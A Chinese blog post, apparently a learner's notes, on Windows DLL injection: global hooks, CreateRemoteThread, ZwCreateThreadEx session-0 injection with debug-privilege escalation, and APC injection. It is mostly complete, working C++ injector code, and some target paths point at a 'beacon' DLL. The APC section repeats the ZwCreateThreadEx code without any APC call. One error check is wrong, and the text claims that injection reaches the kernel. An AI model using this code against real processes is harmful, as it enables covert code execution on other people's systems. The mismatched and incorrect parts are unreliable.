<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Dll注入

    VSole2021-11-08 14:57:41


    最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。
    

    參考

    https://xz.aliyun.com/t/10318
    本人C++才入門,所以代碼均來源參考文章,然后按照實際情況做了修改。
    

    簡介

    每個進程在運行過程中,都有一個和其他進程獨立的相對空間,在這個空間里,進程相當于擁有所有
    權限。但是進程只能修改自己這個空間里的地址數據信息,和其他進程互相不干擾(就算相對地址
    一致,也不會覆蓋其他的進程信息。)
    DLL注入技術,一般來講是向一個正在運行的進程插入/注入代碼的過程。我們注入的代碼以動態鏈
    接庫(DLL)的形式存在。DLL文件在運行時將按需加載。就是類似一個程序A,強行加入了一個程序
    B需要的dll,并執行了dll里面的代碼。而dll有程序B擁有,所以程序B擁有對程序A的控制權限。以
    下情況可能對存在注入場景1.為目標進程添加新的“實用”功能;
    2.需要一些手段來輔助調試被注入dll的進程;
    3.為目標進程安裝鉤子程序(API Hook);
    

    鉤子簡介

    HOOK,是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消
    息,而且所監視的窗口可以是其他進程所創建的。當消息到達后,在目標窗口過程之前處理它。鉤
    子機制允許應用程序截獲并處理window消息或特定事件。
    HOOK實際上是一個處理消息的程序段,通過系統調用,把它掛入系統。每當特定的消息發出,在沒
    有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先得到控制權。這時鉤子函數即可以
    加工處理(改變)該消息,也可以不作處理而繼續傳遞該消息,還可以強制結束消息的傳遞。
    簡單來講,消息發生的時候,由鉤子先捕捉到,進行加工處理。其中的回調函數,就是我們鉤子對
    消息的處理函數。我們可以自定義一個鉤子,監控系統中的消息。其中攔截單個進程的叫線程
    鉤子,攔截全局的叫系統鉤子。
    

    全局鉤子注入

    首先要知道,在windows的應用中很多都是消息機制。消息機制就是如下機制。
    我們都是通過 API 函數來調用系統功能,讓操作系統來幫我們完成很多工作,例如調用
    CreateFile() 函數,操作系統會幫我們創建一個文件,而不需要我們參與任何工作,非常方便。
    事件:類似敲擊鍵盤等操作。
    隊列:存放消息(先進先出)
    消息:事件發生時發送消息。
    簡單來理解:當用戶敲擊鍵盤,此時程序發出一個消息,存放在隊列中,供應用程序來讀取。
    事件和消息同步。有事件就會發送消息。然后應用程序去依次調用。
    這也就是消息機制。
    windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子
    一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    

    SetWindowsHookEx

    這是用來設置鉤子的函數。
    HHOOK WINAPI SetWindowsHookEx(
      _In_  int idHook,         // 安裝的鉤子類型
      _In_  HOOKPROC lpfn,      // 處理消息的回調函數
      _In_  HINSTANCE hMod,     // 當前實例句柄
      _In_  DWORD dwThreadId    // 線程ID
    );
    來試想一下,如果鉤子函數在其他進程中獨有實現,在運行過程中,進程B想要去調用這個鉤子函數
    是完全不可能的,因為他們處于不同的空間。所以調用方式應當是寫在一個Dll中,當誰需要的時
    候,誰就去調用。當一個程序接收到了消息,此時操作系統就將全局鉤子加入到這個進程中,去對
    消息進行處理。所以如果我們控制了鉤子函數的dll,然后輸入惡意代碼,當有消息時,dll被加
    載,惡意代碼執行。
    WH_GETMESSAGE 鉤子類型,可以監聽全局消息
    GetMsgProc 回調函數 在消息到達的時候對消息進行處理
    UnhookWindowsHookEx 卸載鉤子
    SetWindowsHookEx 安裝鉤子
    

    代碼實現

    #include "pch.h"
    #include 
    #include 
    #include
    extern HMODULE g_hDllModule; //定義的外部變量
    extern "C" _declspec(dllexport) int SetHook();
    extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
    extern "C" _declspec(dllexport) BOOL UnsetHook();
    // 定義了一個可以進程共享的數據段
    #pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
    #pragma data_seg()
    //設置定義的數據段具有讀,寫,共享的屬性
    #pragma comment(linker, "/SECTION:mydata,RWS") 
    //鉤子回調函數
    LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
        return ::CallNextHookEx(g_hHook, code, wParam, lParam); //將消息傳遞給g_hHook鉤子進行處理
    }
    // 設置鉤子
    BOOL SetHook() {
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);//設置了一個windows全局消息攔截鉤子
        if (NULL == g_hHook) {
            return FALSE;
        }
        return TRUE;
    }
    // 卸載鉤子
    BOOL UnsetHook() {
        if (g_hHook) {
            UnhookWindowsHookEx(g_hHook);//當沒有設置使用鉤子的時候,就卸載g_hHook鉤子。
        }
        return TRUE;
    }
    //主函數
    HMODULE g_hDllModule = NULL;
    BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
    )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        {
            g_hDllModule = hModule;
            system("calc");
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    //稍微說一下邏輯,做了一個鉤子的安裝,實現回調函數,然后卸載功能,當dll加載的時候,就生成一個句柄來獲取當前dll句柄。
    #include
    #include
    #include  // 必須包含 windows.h
    int main()
    {
        typedef BOOL(*typedef_SetGlobalHook)(); //定義一個符號typedef_SetGlobalHook是一個函數指針,函數返回值為BOOL類型。
        typedef BOOL(*typedef_UnsetGlobalHook)();//定義一個符號typedef_UnsetGlobalHook是一個函數指針,函數返回值為BOOL類型。
        HMODULE hDll = NULL; //定義一個模塊句柄
        typedef_SetGlobalHook SetGlobalHook = NULL;
        typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
        BOOL bRet = FALSE;
        do
        {
            hDll = ::LoadLibraryW(TEXT("DLL2.dll")); //加載Dll2.dll
            if (NULL == hDll)
            {
                printf("LoadLibrary Error[%d]", ::GetLastError());//加載失敗的話,返回加載失敗的錯誤數值
                break;
            }
            SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");//獲取Dll中的SetHook函數
            if (NULL == SetGlobalHook)
            {
                printf("GetProcAddress Error[%d]", ::GetLastError());//獲取失敗的話,返回錯誤的數值
                break;
            }
            bRet = SetGlobalHook();
            if (bRet)
            {
                printf("SetGlobalHook OK.");
            }
            else
            {
                printf("SetGlobalHook ERROR.");
            }
            system("pause");
            UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");//獲取UnsetHook函數
            if (NULL == UnsetGlobalHook)
            {
                printf("GetProcAddress Error[%d]", ::GetLastError());
                break;
            }
            UnsetGlobalHook();
            printf("UnsetGlobalHook OK.");
        } while (FALSE);
        system("pause");
        return 0;
    }
    //代碼可以直接用之前的代碼注入實現(有點類似劫持了),這里我們做的hook,就借用茶寂messi996師傅的代碼實現吧,才做C++自己寫有點費時間。但是每一句代碼肯定還是要理解清楚的。
    

    后續再多研究看看,這種注入感覺很類似劫持。
    

    遠程線程注入

    指一個進程在另一個進程中創建線程。
    CreateRemoteThread
    HANDLE CreateRemoteThread(
      HANDLE                 hProcess,
      LPSECURITY_ATTRIBUTES  lpThreadAttributes,
      SIZE_T                 dwStackSize,
      LPTHREAD_START_ROUTINE lpStartAddress,
      LPVOID                 lpParameter,
      DWORD                  dwCreationFlags,
      LPDWORD                lpThreadId
    );
    VirtualAllocEx
    指定進程的虛擬空間保留或提交內存區域
    LPVOID VirtualAllocEx(
      HANDLE hProcess,
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    WriteProcessMemory
    此函數能寫入某一進程的內存區域(直接寫入會出Access Violation錯誤),故需此函數入口區必須可以訪問,否則操作將失敗。
    BOOL WriteProcessMemory(
      HANDLE  hProcess,         //進程句柄
      LPVOID  lpBaseAddress,    //寫入的內存首地址
      LPCVOID lpBuffer,         //要寫數據的指針
      SIZE_T  nSize,            //x
      SIZE_T  *lpNumberOfBytesWritten
    );
    

    實現原理

    使用CreateRemoteThread這個API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使
    用Openprocess打開進程,使用VirtualAllocEx遠程申請空間,使用WriteProcessMemory寫入數據,
    再用GetProcAddress獲取LoadLibraryW的地址。在注入進程中創建線程(CreateRemoteThread)。關
    于系統dll,簡單來理解就是每次windows啟動的時候,可能dll的基址會發生變化,但是啟動以后就
    不會改變了,固定了。所以要調用這些系統dll的進程只需要訪問同一個基址(系統dll的基址就行
    了。)
    

    代碼

    (1)主注入程序

    #include 
    #include 
    #include 
    #include "tchar.h"
    char string_inject[] = "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\dll";
    //通過進程快照獲取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName) //定義了一個類似數組的LPCTSTR類型
    {
        DWORD Ret = 0;
        PROCESSENTRY32 p32; //用來存放快照進程的結構體。
        HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //定義了一個句柄,其中CreateToolhelp32Snapshot()代表獲取了系統快照,類型為TH32CS_SNAPPROCESS,代表獲取了系統所有進程。
        if (lpSnapshot == INVALID_HANDLE_VALUE)
        {
            printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
            return Ret;
        }
        p32.dwSize = sizeof(PROCESSENTRY32);
        ::Process32First(lpSnapshot, &p32);//進程獲取函數,參數1位快照句柄,參數2位需要放置的結構體
        do {
            if (!lstrcmp(p32.szExeFile, lpProcessName))//通過循環遍歷所有進程id,進行判斷進程可執行文件名和傳入的進程名,如果相同,就獲取他的進程id
            {
                Ret = p32.th32ProcessID;
                break;
            }
        } while (::Process32Next(lpSnapshot, &p32));
        ::CloseHandle(lpSnapshot);//關閉一個快照
        return Ret;//返回進程id
    }
    //打開一個進程并為其創建一個線程
    DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
    {
        //打開進程
        HANDLE hprocess;
        HANDLE hThread;
        DWORD _Size = 0;
        BOOL Write = 0;
        LPVOID pAllocMemory = NULL;
        DWORD DllAddr = 0;
        FARPROC pThread;
        hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);  //打開一個進程并獲取他的所有權限
        //Size = sizeof(string_inject);
        _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//_tcslen 求長度 這里應該是需要申請的內存空間大小
        //遠程申請空間
        pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); //申請內存空間
        if (pAllocMemory == NULL)
        {
            printf("VirtualAllocEx - Error!");
            return FALSE;
        }
        // 寫入內存
        Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); //寫入內存中去,Dllname是要寫的數據的指針
        if (Write == FALSE)
        {
            printf("WriteProcessMemory - Error!");
            return FALSE;
        }
        //獲取LoadLibrary的地址
        pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//獲取DLL的輸出函數的地址,這里能發現LoadLibraryW在kernel32.dll這個系統dll中。
        LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
        //在另一個進程中創建線程
        hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//在我們傳入的進程中創建線程
        if (hThread == NULL)
        {
            printf("CreateRemoteThread - Error!");
            return FALSE; 
        }
        //等待線程函數結束,獲得退出碼
        WaitForSingleObject(hThread, -1);//檢測線程的對象狀態
        GetExitCodeThread(hThread, &DllAddr);//獲取退出碼
        //釋放DLL空間
        VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
        //關閉線程句柄
        ::CloseHandle(hprocess);
        return TRUE;
    }
    int main()
    {
        DWORD PID = _GetProcessPID(L"test.exe");
        _RemoteThreadInject(PID, L"C:\\Users\\e0mlja\\Desktop\\DLL\\Dll2\\Debug\\dll");
    }
    

    (2)被注入程序(默認生成未改動)

    // test.cpp : 定義應用程序的入口點。
    //
    #include "framework.h"
    #include "test.h"
    #define MAX_LOADSTRING 100
    // 全局變量:
    HINSTANCE hInst;                                // 當前實例
    WCHAR szTitle[MAX_LOADSTRING];                  // 標題欄文本
    WCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口類名
    // 此代碼模塊中包含的函數的前向聲明:
    ATOM                MyRegisterClass(HINSTANCE hInstance);
    BOOL                InitInstance(HINSTANCE, int);
    LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
    INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
    int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                         _In_opt_ HINSTANCE hPrevInstance,
                         _In_ LPWSTR    lpCmdLine,
                         _In_ int       nCmdShow)
    {
        UNREFERENCED_PARAMETER(hPrevInstance);
        UNREFERENCED_PARAMETER(lpCmdLine);
        // TODO: 在此處放置代碼。
        // 初始化全局字符串
        LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
        LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING);
        MyRegisterClass(hInstance);
        // 執行應用程序初始化:
        if (!InitInstance (hInstance, nCmdShow))
        {
            return FALSE;
        }
        HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));
        MSG msg;
        // 主消息循環:
        while (GetMessage(&msg, nullptr, 0, 0))
        {
            if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
            {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
        return (int) msg.wParam;
    }
    //
    //  函數: MyRegisterClass()
    //
    //  目標: 注冊窗口類。
    //
    ATOM MyRegisterClass(HINSTANCE hInstance)
    {
        WNDCLASSEXW wcex;
        wcex.cbSize = sizeof(WNDCLASSEX);
        wcex.style          = CS_HREDRAW | CS_VREDRAW;
        wcex.lpfnWndProc    = WndProc;
        wcex.cbClsExtra     = 0;
        wcex.cbWndExtra     = 0;
        wcex.hInstance      = hInstance;
        wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
        wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
        wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
        wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_TEST);
        wcex.lpszClassName  = szWindowClass;
        wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
        return RegisterClassExW(&wcex);
    }
    //
    //   函數: InitInstance(HINSTANCE, int)
    //
    //   目標: 保存實例句柄并創建主窗口
    //
    //   注釋:
    //
    //        在此函數中,我們在全局變量中保存實例句柄并
    //        創建和顯示主程序窗口。
    //
    BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
    {
       hInst = hInstance; // 將實例句柄存儲在全局變量中
       HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
          CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
       if (!hWnd)
       {
          return FALSE;
       }
       ShowWindow(hWnd, nCmdShow);
       UpdateWindow(hWnd);
       return TRUE;
    }
    //
    //  函數: WndProc(HWND, UINT, WPARAM, LPARAM)
    //
    //  目標: 處理主窗口的消息。
    //
    //  WM_COMMAND  - 處理應用程序菜單
    //  WM_PAINT    - 繪制主窗口
    //  WM_DESTROY  - 發送退出消息并返回
    //
    //
    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
        switch (message)
        {
        case WM_COMMAND:
            {
                int wmId = LOWORD(wParam);
                // 分析菜單選擇:
                switch (wmId)
                {
                case IDM_ABOUT:
                    DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
                    break;
                case IDM_EXIT:
                    DestroyWindow(hWnd);
                    break;
                default:
                    return DefWindowProc(hWnd, message, wParam, lParam);
                }
            }
            break;
        case WM_PAINT:
            {
                PAINTSTRUCT ps;
                HDC hdc = BeginPaint(hWnd, &ps);
                // TODO: 在此處添加使用 hdc 的任何繪圖代碼...
                EndPaint(hWnd, &ps);
            }
            break;
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
        return 0;
    }
    // “關于”框的消息處理程序。
    INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
    {
        UNREFERENCED_PARAMETER(lParam);
        switch (message)
        {
        case WM_INITDIALOG:
            return (INT_PTR)TRUE;
        case WM_COMMAND:
            if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
            {
                EndDialog(hDlg, LOWORD(wParam));
                return (INT_PTR)TRUE;
            }
            break;
        }
        return (INT_PTR)FALSE;
    }
    能夠看到,在test.exe中注入了我們的惡意程序。
    

    突破session 0的遠程線程注入

    Intel的CPU將特權級別分為4個級別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個級別
    RING0和RING3,RING0只給操作系統用,RING3誰都能用。如果普通應用程序企圖執行RING0指令,
    則Windows會顯示“非法指令”錯誤信息。
    簡單來說 ring3是用戶層,ring0的防護最高級。屬于到內核中去了。注入也是注入到內核中
    ZwCreateThreadEx  也是創建線程,但是比CreateRemoteThread更底層,可以注入到內核層
    OpenProcessToken 打開與進程相關的訪問令牌
    LookupPrivilegeValueA 查看系統權限的特權值
    AdjustTokenPrivileges 判斷進程的權限
    //后面三個函數主要用來提權
    

    代碼

    // session0Inject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
    //
    #include 
    #include 
    #include 
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError());
        ::MessageBox(NULL, szError, "ERROR", MB_OK);
    }
    // 提權函數
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fOk = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
            fOk = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fOk;
    }
    // 使用 ZwCreateThreadEx 實現遠線程注入
    BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
        EnableDebugPrivilege();
        // 打開注入進程,獲取進程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
        if (hProcess == NULL)
        {
            printf("OpenProcess - Error!");
            return -1;
        }
        // 在注入的進程申請內存地址
        dwSize = ::lstrlen(pszDllFileName) + 1;
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx - Error!");
            return FALSE;
        }
        //寫入內存地址
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory - Error!");
            return FALSE;
        }
        //加載ntdll
        HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
        // 獲取LoadLibraryA函數地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA - Error!");
            return FALSE;
        }
    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    #else
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);
    #endif
        //獲取ZwCreateThreadEx函數地址
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread - Error!");
            return FALSE;
        }
        // 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("ZwCreateThreadEx - Error!");
            return FALSE;
        }
        // 關閉句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
        return TRUE;
    }
    int main(int argc, char* argv[])
    {
    #ifdef _WIN64
        BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
    #else 
        BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
    #endif
        if (FALSE == bRet)
        {
            printf("Inject Dll Error!");
        }
        printf("Inject Dll OK!");
        return 0;
    }
    

    APC注入

    APC,全稱為Asynchronous Procedure Call,即異步過程調用,是指函數在特定線程中被異步執行,在操作系統中,APC是一種并發機制。
    QueueUserApc 添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中
    APCproc 回調函數
    往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,
    APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程序產生的APC被稱為用戶模式APC。
    

    原理

    在 Windows系統中,每個線程都會維護一個線程 APC隊列,通過QucueUserAPC把一個APC 函數添加到
    指定線程的APC隊列中。每個線程都有自己的APC隊列,這個 APC隊列記錄了要求線程執行的一些APC
    函數。Windows系統會發出一個軟中斷去執行這些APC 函數,對于用戶模式下的APC 隊列,當線程處
    在可警告狀態時才會執行這些APC 函數。一個線程在內部使用SignalObjectAndWait 、 SleepEx、
    WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數把自己掛起時就是進入可警告狀態,此
    時便會執行APC隊列函數。
    簡單來說,每個線程都有一個APC隊列,里面放了一些APC函數。一定情況下這些APC函數會被執行。
    1)當EXE里某個線程執行到SleepEx()或者WaitForSingleObjectEx()時,系統就會產生一個軟中
    斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。
    2)當線程再次被喚醒時,此線程會首先執行APC隊列中的被注冊的函數。
    3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數指針,如果我們插入
    的是Loadlibrary()執行函數的話,就能達到注入DLL的目的。
    條件
    1.必須是多線程環境下
    2.注入的程序必須會調用那些同步對象
    

    代碼

    // session0Inject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。//
    #include #include #include 
    void ShowError(const char* pszText){    char szError[MAX_PATH] = { 0 };    ::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError());    ::MessageBox(NULL, szError, "ERROR", MB_OK);}
    // 提權函數BOOL EnableDebugPrivilege(){    HANDLE hToken;    BOOL fOk = FALSE;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))    {        TOKEN_PRIVILEGES tp;        tp.PrivilegeCount = 1;        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
            fOk = (GetLastError() == ERROR_SUCCESS);        CloseHandle(hToken);    }    return fOk;
    }
    // 使用 ZwCreateThreadEx 實現遠線程注入BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName){    HANDLE hProcess = NULL;    SIZE_T dwSize = 0;    LPVOID pDllAddr = NULL;    FARPROC pFuncProcAddr = NULL;    HANDLE hRemoteThread = NULL;    DWORD dwStatus = 0;
        EnableDebugPrivilege();
        // 打開注入進程,獲取進程句柄    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
        if (hProcess == NULL)    {        printf("OpenProcess - Error!");        return -1;    }    // 在注入的進程申請內存地址
        dwSize = ::lstrlen(pszDllFileName) + 1;    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)    {        ShowError("VirtualAllocEx - Error!");        return FALSE;    }    //寫入內存地址
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))    {        ShowError("WriteProcessMemory - Error!");        return FALSE;    }    //加載ntdll    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
        if (NULL == hNtdllDll)    {        ShowError("LoadLirbary");        return FALSE;    }    // 獲取LoadLibraryA函數地址    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)    {        ShowError("GetProcAddress_LoadLibraryA - Error!");        return FALSE;    }
    #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown);#else    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        BOOL CreateSuspended,        DWORD dwStackSize,        DWORD dw1,        DWORD dw2,        LPVOID pUnkown);#endif
        //獲取ZwCreateThreadEx函數地址    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)    {        ShowError("GetProcAddress_ZwCreateThread - Error!");        return FALSE;    }    // 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);    if (NULL == ZwCreateThreadEx)    {        ShowError("ZwCreateThreadEx - Error!");        return FALSE;    }    // 關閉句柄    ::CloseHandle(hProcess);    ::FreeLibrary(hNtdllDll);
        return TRUE;}
    int main(int argc, char* argv[]){#ifdef _WIN64    BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#else     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#endif    if (FALSE == bRet)    {        printf("Inject Dll Error!");    }    printf("Inject Dll OK!");    return 0;}
    

    推薦實操:PythonHacking之DLL注入

    PC端實操地址:http://mrw.so/6eym3S

    dll注入鉤子函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數
    全局鉤子注入在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數
    Dll注入
    2021-11-08 14:57:41
    最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。一致,也不會覆蓋其他的進程信息。
    簡介這次實驗是在WIN7 X86系統上進程,使用的編譯器是VS2017。所謂的DLL注入,其實就是在其他的進程中把我們編寫的DLL加載進去。所以DLL注入的核心就是把要注入DLL的路徑寫到目標進程中,然后在目標進程中調用LoadLibrary函數,并且指定參數為保存了DLL路徑的地址。要實現DLL注入,首先就要創建一個用來注入DLL
    代碼框架 想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能
